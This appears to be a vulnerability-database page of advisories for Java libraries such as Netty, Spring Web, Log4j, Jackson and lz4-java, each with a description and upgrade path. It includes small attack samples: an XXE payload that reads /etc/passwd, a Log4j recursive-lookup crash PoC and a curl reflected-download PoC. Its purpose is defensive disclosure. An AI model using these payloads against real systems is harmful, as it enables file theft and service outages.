• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information due to the setVaryHeader method in codec-http/src/main/java/io/netty/handler/codec/http/cors/CorsHandler.java. An attacker can retrieve another user’s cached sensitive response by sending a cross-origin request that causes CorsHandler to overwrite an application’s existing Vary header, such as Vary: Authorization or Vary: Cookie, with Vary: Origin. Because shared caches and CDNs key the response on the reduced Vary set, user-specific responses can be cached and served to unauthorized clients. This can expose authenticated content or other sensitive data to other application users.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection in the createParserFactory and createDocumentBuilderFactory methods of the XmlFactory class, which set only XMLConstants.FEATURE_SECURE_PROCESSING on the factory and leave disallow-doctype-decl, external-general-entities, external-parameter-entities, and load-external-dtd at their defaults. An attacker can read local files out of band by submitting XML containing an external entity declaration to an application that unmarshals untrusted documents. Exploitation depends on the JAXP implementation in use, because secure processing alone does not block external entity resolution on every implementation.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitLab Work Item

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Uncontrolled Memory Allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

Remediation

Upgrade io.netty:netty-codec to version 4.1.46.Final or higher.

References

• GitHub Issue

• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Flux.windowTimeout function when fairBackpressure is enabled. An attacker can cause the stream to hang indefinitely and exhaust system resources by maintaining long-lived connections and manipulating downstream read speeds.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Race Condition in the Flux.bufferTimeout process with fairBackpressure enabled when a race condition occurs between flushing buffered items and the arrival of new upstream items. An attacker can cause the stream to hang indefinitely and exhaust resources by manipulating the timing of upstream item delivery to trigger this race condition.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Reflected File Download (RFD). A reflected file download attack is possible when the filename attribute of the Content-Disposition header is derived from user-supplied input.

PoC

curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

Remediation

Upgrade org.springframework:spring-web to version 5.2.3, 5.1.13, 5.0.16 or higher.

References

• GitHub Commit
• GitHub Issue
• Pivotal Vulnerability Report
• PoC

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.

Remediation

A fix was pushed into the master branch but not yet published.

References

• Apache Mailing List
• Apache Security Advisory
• GitHub Commit
• GitHub PR

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.

Remediation

A fix was pushed into the master branch but not yet published.

References

• Apache Mailing List
• Apache Security Advisory
• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

• GitHub Commit

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2019-20445

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

• GitHub PR
• HTTP Request Smuggling Demystified - Snyk Blog
• Netty 4.1.44 Release Notes
• POC: GitHub Issue
• POC: Potential Exploit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. It allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax or as an "invalid fold."

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

• GitHub Commit
• HTTP Request Smuggling Demystified - Snyk Blog
• POC: GitHub Issue

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2020-7238

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

• GitHub PR
• HTTP Request Smuggling Demystified - Snyk Blog
• Netty 4.1.44 Release Notes
• POC: GitHub Issue
• POC: Potential Exploit

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

• Apache Security
• JIRA Issue
• PoC in GitHub

Overview

Affected versions of this package are vulnerable to Insecure Temporary File in the process that extracts and loads the native library via net.jpountz.util.Native.load. An attacker can execute arbitrary code by pre-creating a malicious file in a shared temporary directory, causing the victim process to load attacker-controlled code. This is only exploitable if the temporary directory is shared and writable by multiple users, and system protections such as fs.protected_regular or fs.protected_symlinks are not enabled, or if the temporary directory lacks the sticky bit or is shared across users in containers.

Remediation

Upgrade at.yawk.lz4:lz4-java to version 1.11.4 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through repeated allocation of large buffers in the LZ4FrameInputStream.readHeader process. An attacker can cause excessive CPU and garbage collection usage by providing specially crafted input consisting of many minimal empty frames, leading to significant resource consumption relative to the input size.

Remediation

Upgrade at.yawk.lz4:lz4-java to version 1.11.4 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced limits in the HPackDecoder process. An attacker can exhaust system memory by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement applies the configured header list size limit.

Remediation

Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.4.3, 5.5-beta2 or higher.

References

• Apache Mailing List
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch.plugin:lang-mustache-client to version 7.17.25 or higher.

References

• Elastic Advisory
• GitHub Commit
• GitHub PR

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Errors.getFieldErrors() or Errors.getFieldError() accessors when rendering field errors with HTML escaping enabled. An attacker can inject arbitrary HTML or JavaScript code by supplying crafted input that is not properly escaped.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

• GitHub Commit
• spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.

Remediation

Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.

References

• GitHub Commit
• PoC
• Spring Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR

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